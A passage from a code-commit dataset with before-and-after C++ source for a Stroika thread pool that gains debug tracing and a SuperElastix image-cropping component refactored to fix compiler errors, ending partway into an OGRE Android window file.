result)\n{\n\tRequireNotNull (result);\n\tif (fAborted_) {\n\t\tExecution::DoThrow (ThreadAbortException ());\n\t}\n\n\twhile (true) {\n\t\t{\n\t\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\t\tif (not fTasks_.empty ()) {\n\t\t\t\t*result\t=\tfTasks_.front ();\n\t\t\t\tfTasks_.pop_front ();\n\t\t\t\tDbgTrace (\"ThreadPool::WaitForNextTask_ () is starting a new task\"); \n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Prevent spinwaiting... This event is SET when any new item arrives\n\t\tfTasksAdded_.Wait ();\n\t}\n}\n\nThread\t\tThreadPool::mkThread_ ()\n{\n\tThread\tt\t=\tThread (SharedPtr<IRunnable> (new ThreadPool::MyRunnable_ (*this)));\t\t\/\/ ADD MY THREADOBJ\n\tt.SetThreadName (L\"Thread Pool\");\n\tt.Start ();\n\treturn t;\n}\n<commit_msg>a few Debug::TraceContextBumper and DbgTrace messages checked in (but most commented out) for threadPool debugging<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2011. All rights reserved\n *\/\n#include\t\"..\/StroikaPreComp.h\"\n\n#include\t\"Sleep.h\"\n\n#include\t\"ThreadPool.h\"\n\n\n\nusing\tnamespace\tStroika::Foundation;\nusing\tnamespace\tStroika::Foundation::Execution;\n\n\n\n\nclass\tThreadPool::MyRunnable_ : public IRunnable {\n\tpublic:\n\t\tMyRunnable_ (ThreadPool& threadPool)\n\t\t\t: fThreadPool_ (threadPool)\n\t\t\t, fCurTask_ ()\n\t\t\t, fNextTask_ ()\n\t\t\t, fCurTaskUpdateCritSection_ ()\n\t\t\t{\n\t\t\t}\n\n\tpublic:\n\t\tThreadPool::TaskType\tGetCurrentTask () const\n\t\t\t{\n\t\t\t\tAutoCriticalSection critSect (fCurTaskUpdateCritSection_);\n\t\t\t\t\/\/ THIS CODE IS TOO SUBTLE - BUT BECAUSE OF HOW THIS IS CALLED - fNextTask_ will NEVER be in the middle of being updated during this code - so this test is OK\n\t\t\t\t\/\/ Caller is never in the middle of doing a WaitForNextTask - and because we have this lock - we aren't updateing fCurTask_ or fNextTask_ either\n\t\t\t\tAssert (fCurTask_.IsNull () or fNextTask_.IsNull ());\t\/\/ one or both must be null\n\t\t\t\treturn fCurTask_.IsNull ()? fNextTask_ : fCurTask_;\n\t\t\t}\n\n\tpublic:\n\t\tvirtual\tvoid\tRun () override\n\t\t\t{\n\t\t\t\t\/\/ For NOW - allow ThreadAbort to just kill this thread. In the future - we may want to implement some sort of restartability\n\n\t\t\t\t\/\/ Keep grabbing new tasks, and running them\n\t\t\t\twhile (true) {\n\t\t\t\t\t{\n\t\t\t\t\t\tfThreadPool_.WaitForNextTask_ (&fNextTask_);\t\t\t\/\/ This will block INDEFINITELY until ThreadAbort throws out or we have a new task to run\n\t\t\t\t\t\tAutoCriticalSection critSect (fCurTaskUpdateCritSection_);\n\t\t\t\t\t\tAssert (not fNextTask_.IsNull ());\n\t\t\t\t\t\tAssert (fCurTask_.IsNull ());\n\t\t\t\t\t\tfCurTask_ = fNextTask_;\n\t\t\t\t\t\tfNextTask_.clear ();\n\t\t\t\t\t\tAssert (not fCurTask_.IsNull ());\n\t\t\t\t\t\tAssert (fNextTask_.IsNull ());\n\t\t\t\t\t}\n\t\t\t\t\ttry {\n\t\t\t\t\t\tfCurTask_->Run ();\n\t\t\t\t\t\tfCurTask_.clear ();\n\t\t\t\t\t}\n\t\t\t\t\tcatch (const ThreadAbortException&) {\n\t\t\t\t\t\tAutoCriticalSection critSect (fCurTaskUpdateCritSection_);\n\t\t\t\t\t\tfCurTask_.clear ();\n\t\t\t\t\t\tthrow;\t\/\/ cancel this thread\n\t\t\t\t\t}\n\t\t\t\t\tcatch (...) {\n\t\t\t\t\t\tAutoCriticalSection critSect (fCurTaskUpdateCritSection_);\n\t\t\t\t\t\tfCurTask_.clear ();\n\t\t\t\t\t\t\/\/ other excpetions WARNING WITH DEBUG MESSAGE - but otehrwise - EAT\/IGNORE\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\tprivate:\n\t\tThreadPool&\t\t\t\t\tfThreadPool_;\n\t\tmutable CriticalSection\t\tfCurTaskUpdateCritSection_;\n\t\tThreadPool::TaskType\t\tfCurTask_;\n\t\tThreadPool::TaskType\t\tfNextTask_;\n\n\tpublic:\n\t\tDECLARE_USE_BLOCK_ALLOCATION(MyRunnable_);\n};\n\n\n\n\n\n\n\/*\n ********************************************************************************\n ********************************* Execution::ThreadPool ************************\n ********************************************************************************\n *\/\nThreadPool::ThreadPool (unsigned int nThreads)\n\t: fCriticalSection_ ()\n\t, fAborted_ (false)\n\t, fThreads_ ()\n\t, fTasks_ ()\n\t, fTasksAdded_ ()\n{\n\tSetPoolSize (nThreads);\n}\n\nunsigned int\tThreadPool::GetPoolSize () const\n{\n\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\treturn fThreads_.size ();\n}\n\nvoid\tThreadPool::SetPoolSize (unsigned int poolSize)\n{\n\tDebug::TraceContextBumper ctx (TSTR (\"ThreadPool::SetPoolSize\"));\n\tRequire (not fAborted_);\n\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\tfThreads_.reserve (poolSize);\n\twhile (poolSize > fThreads_.size ()) {\n\t\tfThreads_.push_back (mkThread_ ());\n\t}\n\n\tif (poolSize < fThreads_.size ()) {\n\t\tAssertNotImplemented ();\n\n\t\t\/\/ MUST STOP THREADS and WAIT FOR THEM TO BE DONE (OR STORE THEM SOMEPLACE ELSE - NO - I THINK MUST ABORTANDWAIT(). Unsure.\n\t\t\/\/ For now - just assert!!!\n\n\t\t\/\/ TODO:\n\t\t\/\/\t\t(1)\tHOIRRIBLE - NOW\n\t\tfThreads_.resize (poolSize);\t\/\/ remove some off the end. OK if they are running?\n\t}\n\t\n}\n\nvoid\tThreadPool::AddTask (const TaskType& task)\n{\n\t\/\/Debug::TraceContextBumper ctx (TSTR (\"ThreadPool::AddTask\"));\n\tRequire (not fAborted_);\n\t{\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfTasks_.push_back (task);\n\t}\n\n\t\/\/ Notify any waiting threads to wakeup and claim the next task\n\tfTasksAdded_.Set ();\n}\n\nvoid\tThreadPool::AbortTask (const TaskType& task, Time::DurationSecondsType timeout)\n{\n\tDebug::TraceContextBumper ctx (TSTR (\"ThreadPool::AbortTask\"));\n\t{\n\t\t\/\/ First see if its in the Q\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfor (list<TaskType>::iterator i = fTasks_.begin (); i != fTasks_.end (); ++i) {\n\t\t\tif (*i == task) {\n\t\t\t\tfTasks_.erase (i);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ If we got here - its NOT in the task Q, so maybe its already running.\n\t\/\/\n\t\/\/\n\n\t\/\/ TODO:\n\t\/\/\t\tWe walk the list of existing threads and ask each one if its (indirected - running task) is the given one and abort that task.\n\t\/\/\t\tBut that requires we can RESTART an ABORTED thread (or that we remove it from the list - maybe thats better). THat COULD be OK\n\t\/\/\t\tactually since it involves on API changes and makes sense. The only slight issue is a peformace one but probably for soemthing\n\t\/\/\t\tquite rare.\n\t\/\/\n\t\/\/\t\tAnyhow SB OK for now to just not allow aborting a task which has already started....\n\tThread\tthread2Kill;\n\t{\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfor (vector<Thread>::iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\tSharedPtr<IRunnable>\ttr\t=\ti->GetRunnable ();\n\t\t\tAssert (dynamic_cast<MyRunnable_*> (tr.get ()) != nullptr);\n\t\t\tSharedPtr<IRunnable>\tct\t=\tdynamic_cast<MyRunnable_&> (*tr.get ()).GetCurrentTask ();\n\t\t\tif (task == ct) {\n\t\t\t\tthread2Kill\t=\t*i;\n\t\t\t\t*i = mkThread_ ();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tif (not thread2Kill.GetStatus () != Thread::eNull) {\n\t\tthread2Kill.AbortAndWaitForDone (timeout);\n\t}\n}\n\nbool\tThreadPool::IsPresent (const TaskType& task) const\n{\n\t{\n\t\t\/\/ First see if its in the Q\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfor (list<TaskType>::const_iterator i = fTasks_.begin (); i != fTasks_.end (); ++i) {\n\t\t\tif (*i == task) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\treturn IsRunning (task);\n}\n\nbool\tThreadPool::IsRunning (const TaskType& task) const\n{\n\tRequire (not task.IsNull ());\n\t{\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfor (vector<Thread>::const_iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\tSharedPtr<IRunnable>\ttr\t=\ti->GetRunnable ();\n\t\t\tAssert (dynamic_cast<MyRunnable_*> (tr.get ()) != nullptr);\n\t\t\tSharedPtr<IRunnable>\trTask\t=\tdynamic_cast<MyRunnable_&> (*tr.get ()).GetCurrentTask ();\n\t\t\tif (task == rTask) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n}\n\nvoid\tThreadPool::WaitForTask (const TaskType& task, Time::DurationSecondsType timeout) const\n{\n\tDebug::TraceContextBumper ctx (TSTR (\"ThreadPool::WaitForTask\"));\n\t\/\/ Inefficient \/ VERY SLOPPY impl\n\tTime::DurationSecondsType\tendAt\t=\ttimeout + Time::GetTickCount ();\n\twhile (true) {\n\t\tif (not IsPresent (task)) {\n\t\t\treturn;\n\t\t}\n\t\tTime::DurationSecondsType\tremaining\t=\ttimeout - Time::GetTickCount ();\n\t\tif (remaining <= 0.0) {\n\t\t\tDoThrow (WaitTimedOutException ());\n\t\t}\n\t\tExecution::Sleep (min (remaining, 1.0));\n\t}\n}\n\nvector<ThreadPool::TaskType>\tThreadPool::GetTasks () const\n{\n\tvector<ThreadPool::TaskType>\tresult;\n\t{\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tresult.reserve (fTasks_.size () + fThreads_.size ());\n\t\tresult.insert (result.begin (), fTasks_.begin (), fTasks_.end ());\t\t\t\/\/ copy pending tasks\n\t\tfor (vector<Thread>::const_iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\tSharedPtr<IRunnable>\ttr\t=\ti->GetRunnable ();\n\t\t\tAssert (dynamic_cast<MyRunnable_*> (tr.get ()) != nullptr);\n\t\t\tSharedPtr<IRunnable>\ttask\t=\tdynamic_cast<MyRunnable_&> (*tr.get ()).GetCurrentTask ();\n\t\t\tif (not task.IsNull ()) {\n\t\t\t\tresult.push_back (task);\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}\n\nvector<ThreadPool::TaskType>\tThreadPool::GetRunningTasks () const\n{\n\tvector<ThreadPool::TaskType>\tresult;\n\t{\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tresult.reserve (fThreads_.size ());\n\t\tfor (vector<Thread>::const_iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\tSharedPtr<IRunnable>\ttr\t=\ti->GetRunnable ();\n\t\t\tAssert (dynamic_cast<MyRunnable_*> (tr.get ()) != nullptr);\n\t\t\tSharedPtr<IRunnable>\ttask\t=\tdynamic_cast<MyRunnable_&> (*tr.get ()).GetCurrentTask ();\n\t\t\tif (not task.IsNull ()) {\n\t\t\t\tresult.push_back (task);\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}\n\nsize_t\tThreadPool::GetTasksCount () const\n{\n\tsize_t\tcount\t=\t0;\n\t{\n\t\t\/\/ First see if its in the Q\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tcount += fTasks_.size ();\n\t\tfor (vector<Thread>::const_iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\tSharedPtr<IRunnable>\ttr\t=\ti->GetRunnable ();\n\t\t\tAssert (dynamic_cast<MyRunnable_*> (tr.get ()) != nullptr);\n\t\t\tSharedPtr<IRunnable>\ttask\t=\tdynamic_cast<MyRunnable_&> (*tr.get ()).GetCurrentTask ();\n\t\t\tif (not task.IsNull ()) {\n\t\t\t\tcount++;\n\t\t\t}\n\t\t}\n\t}\n\treturn count;\n}\n\nvoid\tThreadPool::WaitForDone (Time::DurationSecondsType timeout) const\n{\n\tDebug::TraceContextBumper ctx (TSTR (\"ThreadPool::WaitForDone\"));\n\tRequire (fAborted_);\n\t{\n\t\tTime::DurationSecondsType\tendAt\t=\ttimeout + Time::GetTickCount ();\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfor (vector<Thread>::const_iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\ti->WaitForDone (endAt - Time::GetTickCount ());\n\t\t}\n\t}\n}\n\nvoid\tThreadPool::Abort ()\n{\n\tDebug::TraceContextBumper ctx (TSTR (\"ThreadPool::Abort\"));\n\tfAborted_ = true;\n\t{\n\t\t\/\/ First see if its in the Q\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfTasks_.clear ();\n\t\tfor (vector<Thread>::iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\ti->Abort ();\n\t\t}\n\t}\n}\n\nvoid\tThreadPool::AbortAndWaitForDone (Time::DurationSecondsType timeout)\n{\n\tAbort ();\n\tWaitForDone (timeout);\n}\n\n\/\/ THIS is called NOT from 'this' - but from the context of an OWNED thread of the pool\nvoid\tThreadPool::WaitForNextTask_ (TaskType* result)\n{\n\tRequireNotNull (result);\n\tif (fAborted_) {\n\t\tExecution::DoThrow (ThreadAbortException ());\n\t}\n\n\twhile (true) {\n\t\t{\n\t\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\t\tif (not fTasks_.empty ()) {\n\t\t\t\t*result\t=\tfTasks_.front ();\n\t\t\t\tfTasks_.pop_front ();\n\t\t\t\tDbgTrace (\"ThreadPool::WaitForNextTask_ () is starting a new task\"); \n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Prevent spinwaiting... This event is SET when any new item arrives\n\t\t\/\/DbgTrace (\"ThreadPool::WaitForNextTask_ () - about to wait for added tasks\"); \n\t\tfTasksAdded_.Wait ();\n\t\t\/\/DbgTrace (\"ThreadPool::WaitForNextTask_ () - completed wait for added tasks\"); \n\t}\n}\n\nThread\t\tThreadPool::mkThread_ ()\n{\n\tThread\tt\t=\tThread (SharedPtr<IRunnable> (new ThreadPool::MyRunnable_ (*this)));\t\t\/\/ ADD MY THREADOBJ\n\tt.SetThreadName (L\"Thread Pool\");\n\tt.Start ();\n\treturn t;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n *\n * Copyright Leiden University Medical Center, Erasmus University Medical\n * Center and contributors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include \"selxCropperComponent.h\"\n#include \"selxCheckTemplateProperties.h\"\n\n#include \"itkImageFileWriter.h\"\n\nnamespace selx\n{\n\ntemplate< int Dimensionality, class TPixel >\nCropperComponent< Dimensionality, TPixel >::CropperComponent( const std::string & name,\n LoggerImpl & logger ) : Superclass( name, logger ) {\n this->m_LabelGeometryImageFilter\n = LabelGeometryImageFilterType::New();\n this->m_LabelGeometryImageFilter->CalculateOrientedBoundingBoxOn();\n\n this->m_RegionOfInterestImageFilter\n = RegionOfInterestImageFilterType::New();\n\n this->m_Pad = 0;\n}\n\ntemplate< int Dimensionality, class TPixel >\nint\nCropperComponent< Dimensionality, TPixel >::Accept( typename itkImageInterface< Dimensionality, TPixel >::Pointer component )\n{\n this->m_Image = component->GetItkImage();\n this->m_RegionOfInterestImageFilter->SetInput(this->m_Image);\n return 0;\n}\n\ntemplate< int Dimensionality, class TPixel >\nint\nCropperComponent< Dimensionality, TPixel >::Accept( typename itkImageMaskInterface< Dimensionality, unsigned char >::Pointer component )\n{\n this->m_Mask = component->GetItkImageMask();\n return 0;\n}\n\ntemplate< int Dimensionality, class TPixel >\nint\nCropperComponent< Dimensionality, TPixel >::Accept( typename itkImageFixedMaskInterface< Dimensionality, unsigned char >::Pointer component )\n{\n this->m_Mask = component->GetItkImageFixedMask();\n return 0;\n}\n\ntemplate< int Dimensionality, class TPixel >\nint\nCropperComponent< Dimensionality, TPixel >::Accept( typename itkImageMovingMaskInterface< Dimensionality, unsigned char >::Pointer component )\n{\n this->m_Mask = component->GetItkImageMovingMask();\n return 0;\n}\n\ntemplate< int Dimensionality, class TPixel >\ntypename CropperComponent< Dimensionality, TPixel >::ItkImagePointer\nCropperComponent< Dimensionality, TPixel >::GetItkImage()\n{\n return this->m_RegionOfInterestImageFilter->GetOutput();\n}\n\ntemplate< int Dimensionality, class TPixel >\ntypename CropperComponent< Dimensionality, TPixel >::ItkImagePointer\nCropperComponent< Dimensionality, TPixel >::GetItkImageFixed()\n{\n return this->GetItkImage();\n};\n\ntemplate< int Dimensionality, class TPixel >\ntypename CropperComponent< Dimensionality, TPixel >::ItkImagePointer\nCropperComponent< Dimensionality, TPixel >::GetItkImageMoving()\n{\n return this->GetItkImage();\n};\n\ntemplate< int Dimensionality, class TPixel >\ntypename CropperComponent< Dimensionality, TPixel >::ItkImageDomainPointer\nCropperComponent< Dimensionality, TPixel >\n::GetItkImageDomainFixed()\n{\n \/\/ Implicitly casted to domain (itk::ImageBase)\n return this->m_RegionOfInterestImageFilter->GetOutput();\n}\n\ntemplate< int Dimensionality, class TPixel >\nvoid\nCropperComponent< Dimensionality, TPixel >::BeforeUpdate()\n{\n\n this->m_Image->UpdateOutputInformation();\n this->m_Mask->UpdateOutputInformation();\n\n \/\/ Output information must be generated before downstream components are run\n this->m_LabelGeometryImageFilter->SetInput(this->m_Mask);\n this->m_LabelGeometryImageFilter->Update();\n auto boundingBox = this->m_LabelGeometryImageFilter->GetBoundingBox(1);\n\n typename itk::Index< Dimensionality > start;\n start[0] = std::max(boundingBox.GetElement(0) - this->m_Pad, long(this->m_Image->GetLargestPossibleRegion().GetIndex(0)));\n start[1] = std::max(boundingBox.GetElement(2) - this->m_Pad, long(this->m_Image->GetLargestPossibleRegion().GetIndex(1)));\n if( Dimensionality > 2 ) start[2] = std::max(boundingBox.GetElement(4) - this->m_Pad, long(this->m_Image->GetLargestPossibleRegion().GetIndex(2)));\n if( Dimensionality > 3 ) start[3] = std::max(boundingBox.GetElement(6) - this->m_Pad, long(this->m_Image->GetLargestPossibleRegion().GetIndex(3)));\n\n {\n std::stringstream ss;\n ss << this->m_Image->GetLargestPossibleRegion();\n this->m_Logger.Log(LogLevel::INF, \"{0}: Got image with {1}\", this->m_Name, ss.str());\n }\n\n typename itk::Size< Dimensionality > size;\n size[0] = std::min(boundingBox.GetElement(1) - start[0] + 1 + this->m_Pad, long(this->m_Image->GetLargestPossibleRegion().GetSize(0)) - start[0]);\n size[1] = std::min(boundingBox.GetElement(3) - start[1] + 1 + this->m_Pad, long(this->m_Image->GetLargestPossibleRegion().GetSize(1)) - start[1]);\n if( Dimensionality > 2 ) size[2] = std::min(boundingBox.GetElement(5) - start[2] + 1 + this->m_Pad, long(this->m_Image->GetLargestPossibleRegion().GetSize(2)) - start[2]);\n if( Dimensionality > 3 ) size[3] = std::min(boundingBox.GetElement(7) - start[3] + 1 + this->m_Pad, long(this->m_Image->GetLargestPossibleRegion().GetSize(3)) - start[3]);\n typename ItkImageType::RegionType region(start, size);\n\n {\n std::stringstream ss;\n ss << region;\n this->m_Logger.Log(LogLevel::INF, \"{0}: Cropping image to {1}\", this->m_Name, ss.str());\n }\n\n this->m_RegionOfInterestImageFilter->SetRegionOfInterest(region);\n}\n\ntemplate< int Dimensionality, class TPixel >\nvoid\nCropperComponent< Dimensionality, TPixel >::Update()\n{\n\n}\n\ntemplate< int Dimensionality, class TPixel >\nbool\nCropperComponent< Dimensionality, TPixel >\n::MeetsCriterion( const CriterionType & criterion )\n{\n auto status = CheckTemplateProperties( this->TemplateProperties(), criterion );\n if( status == CriterionStatus::Satisfied )\n {\n return true;\n }\n else if( status == CriterionStatus::Failed )\n {\n return false;\n }\n\n if( criterion.first == \"Pad\" ) {\n this->m_Pad = std::stoi( criterion.second[0] );\n return true;\n }\n\n return false;\n};\n\ntemplate< int Dimensionality, class TPixel >\nbool\nCropperComponent< Dimensionality, TPixel >\n::ConnectionsSatisfied() {\n if (!this->InterfaceAcceptor<itkImageInterface<Dimensionality, TPixel >>::GetAccepted()) {\n return false;\n }\n\n if (!this->InterfaceAcceptor<itkImageMaskInterface<Dimensionality, unsigned char >>::GetAccepted() &&\n !this->InterfaceAcceptor<itkImageFixedMaskInterface<Dimensionality, unsigned char >>::GetAccepted() &&\n !this->InterfaceAcceptor<itkImageMovingMaskInterface<Dimensionality, unsigned char >>::GetAccepted()) {\n return false;\n }\n\n return true;\n}\n\n}\n<commit_msg>COMP: Fixed VS errors CropperComponent::BeforeUpdate()<commit_after>\/*=========================================================================\n *\n * Copyright Leiden University Medical Center, Erasmus University Medical\n * Center and contributors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include \"selxCropperComponent.h\"\n#include \"selxCheckTemplateProperties.h\"\n\n#include \"itkImageFileWriter.h\"\n\nnamespace selx\n{\n\ntemplate< int Dimensionality, class TPixel >\nCropperComponent< Dimensionality, TPixel >::CropperComponent( const std::string & name,\n LoggerImpl & logger ) : Superclass( name, logger ) {\n this->m_LabelGeometryImageFilter\n = LabelGeometryImageFilterType::New();\n this->m_LabelGeometryImageFilter->CalculateOrientedBoundingBoxOn();\n\n this->m_RegionOfInterestImageFilter\n = RegionOfInterestImageFilterType::New();\n\n this->m_Pad = 0;\n}\n\ntemplate< int Dimensionality, class TPixel >\nint\nCropperComponent< Dimensionality, TPixel >::Accept( typename itkImageInterface< Dimensionality, TPixel >::Pointer component )\n{\n this->m_Image = component->GetItkImage();\n this->m_RegionOfInterestImageFilter->SetInput(this->m_Image);\n return 0;\n}\n\ntemplate< int Dimensionality, class TPixel >\nint\nCropperComponent< Dimensionality, TPixel >::Accept( typename itkImageMaskInterface< Dimensionality, unsigned char >::Pointer component )\n{\n this->m_Mask = component->GetItkImageMask();\n return 0;\n}\n\ntemplate< int Dimensionality, class TPixel >\nint\nCropperComponent< Dimensionality, TPixel >::Accept( typename itkImageFixedMaskInterface< Dimensionality, unsigned char >::Pointer component )\n{\n this->m_Mask = component->GetItkImageFixedMask();\n return 0;\n}\n\ntemplate< int Dimensionality, class TPixel >\nint\nCropperComponent< Dimensionality, TPixel >::Accept( typename itkImageMovingMaskInterface< Dimensionality, unsigned char >::Pointer component )\n{\n this->m_Mask = component->GetItkImageMovingMask();\n return 0;\n}\n\ntemplate< int Dimensionality, class TPixel >\ntypename CropperComponent< Dimensionality, TPixel >::ItkImagePointer\nCropperComponent< Dimensionality, TPixel >::GetItkImage()\n{\n return this->m_RegionOfInterestImageFilter->GetOutput();\n}\n\ntemplate< int Dimensionality, class TPixel >\ntypename CropperComponent< Dimensionality, TPixel >::ItkImagePointer\nCropperComponent< Dimensionality, TPixel >::GetItkImageFixed()\n{\n return this->GetItkImage();\n};\n\ntemplate< int Dimensionality, class TPixel >\ntypename CropperComponent< Dimensionality, TPixel >::ItkImagePointer\nCropperComponent< Dimensionality, TPixel >::GetItkImageMoving()\n{\n return this->GetItkImage();\n};\n\ntemplate< int Dimensionality, class TPixel >\ntypename CropperComponent< Dimensionality, TPixel >::ItkImageDomainPointer\nCropperComponent< Dimensionality, TPixel >\n::GetItkImageDomainFixed()\n{\n \/\/ Implicitly casted to domain (itk::ImageBase)\n return this->m_RegionOfInterestImageFilter->GetOutput();\n}\n\ntemplate< int Dimensionality, class TPixel >\nvoid\nCropperComponent< Dimensionality, TPixel >::BeforeUpdate()\n{\n\n this->m_Image->UpdateOutputInformation();\n this->m_Mask->UpdateOutputInformation();\n\n \/\/ Output information must be generated before downstream components are run\n this->m_LabelGeometryImageFilter->SetInput(this->m_Mask);\n this->m_LabelGeometryImageFilter->Update();\n const auto boundingBox = this->m_LabelGeometryImageFilter->GetBoundingBox(1);\n const auto& largestPossibleRegion = this->m_Image->GetLargestPossibleRegion();\n\n {\n std::stringstream ss;\n ss << largestPossibleRegion;\n this->m_Logger.Log(LogLevel::INF, \"{0}: Got image with {1}\", this->m_Name, ss.str());\n }\n\n itk::Index< Dimensionality > start;\n itk::Size< Dimensionality > size;\n\n for (unsigned i{ 0 }; i < Dimensionality; ++i)\n {\n start[i] = std::max<itk::IndexValueType>(\n boundingBox.GetElement(2 * i) - this->m_Pad, largestPossibleRegion.GetIndex(i));\n size[i] = std::min<itk::IndexValueType>(\n boundingBox.GetElement(2 * i + 1) - start[i] + 1 + this->m_Pad, largestPossibleRegion.GetSize(i) - start[i]);\n }\n\n const typename ItkImageType::RegionType croppedRegion(start, size);\n\n {\n std::stringstream ss;\n ss << croppedRegion;\n this->m_Logger.Log(LogLevel::INF, \"{0}: Cropping image to {1}\", this->m_Name, ss.str());\n }\n\n this->m_RegionOfInterestImageFilter->SetRegionOfInterest(croppedRegion);\n}\n\ntemplate< int Dimensionality, class TPixel >\nvoid\nCropperComponent< Dimensionality, TPixel >::Update()\n{\n\n}\n\ntemplate< int Dimensionality, class TPixel >\nbool\nCropperComponent< Dimensionality, TPixel >\n::MeetsCriterion( const CriterionType & criterion )\n{\n auto status = CheckTemplateProperties( this->TemplateProperties(), criterion );\n if( status == CriterionStatus::Satisfied )\n {\n return true;\n }\n else if( status == CriterionStatus::Failed )\n {\n return false;\n }\n\n if( criterion.first == \"Pad\" ) {\n this->m_Pad = std::stoi( criterion.second[0] );\n return true;\n }\n\n return false;\n};\n\ntemplate< int Dimensionality, class TPixel >\nbool\nCropperComponent< Dimensionality, TPixel >\n::ConnectionsSatisfied() {\n if (!this->InterfaceAcceptor<itkImageInterface<Dimensionality, TPixel >>::GetAccepted()) {\n return false;\n }\n\n if (!this->InterfaceAcceptor<itkImageMaskInterface<Dimensionality, unsigned char >>::GetAccepted() &&\n !this->InterfaceAcceptor<itkImageFixedMaskInterface<Dimensionality, unsigned char >>::GetAccepted() &&\n !this->InterfaceAcceptor<itkImageMovingMaskInterface<Dimensionality, unsigned char >>::GetAccepted()) {\n return false;\n }\n\n return true;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n (Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\/\n\nCopyright (c) 2000-2014 Torus Knot Software Ltd\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n\n#include \"OgreRoot.h\"\n#include \"OgreException.h\"\n#include \"OgreLogManager.h\"\n#include \"OgreStringConverter.h\"\n#include \"OgreWindowEventUtilities.h\"\n\n#include \"OgreGLRenderSystemCommon.h\"\n\n#include \"OgreAndroidEGLSupport.h\"\n#include \"OgreAndroidEGLWindow.h\"\n#include \"OgreViewport.h\"\n\n#include <iostream>\n#include <algorithm>\n#include <climits>\n\nnamespace Ogre {\n AndroidEGLWindow::AndroidEGLWindow(AndroidEGLSupport *glsupport)\n : EGLWindow(glsupport),\n mMaxBufferSize(32),\n mMinBufferSize(16),\n mMaxDepthSize(16),\n mMaxStencilSize(0),\n mMSAA(0),\n mCSAA(0),\r\n mPreserveContext(false)\n {\n }\n\n void AndroidEGLWindow::getLeftAndTopFromNativeWindow( int & left, int & top, uint width, uint height )\n {\n \/\/ We don't have a native window.... but I think all android windows are origined\n left = top = 0;\n }\n\n void AndroidEGLWindow::initNativeCreatedWindow(const NameValuePairList *miscParams)\n {\n }\n\n void AndroidEGLWindow::createNativeWindow( int &left, int &top, uint &width, uint &height, String &title )\n {\n }\n\n void AndroidEGLWindow::reposition( int left, int top )\n {\n }\n\n void AndroidEGLWindow::resize(uint width, uint height)\n {\n }\n\n void 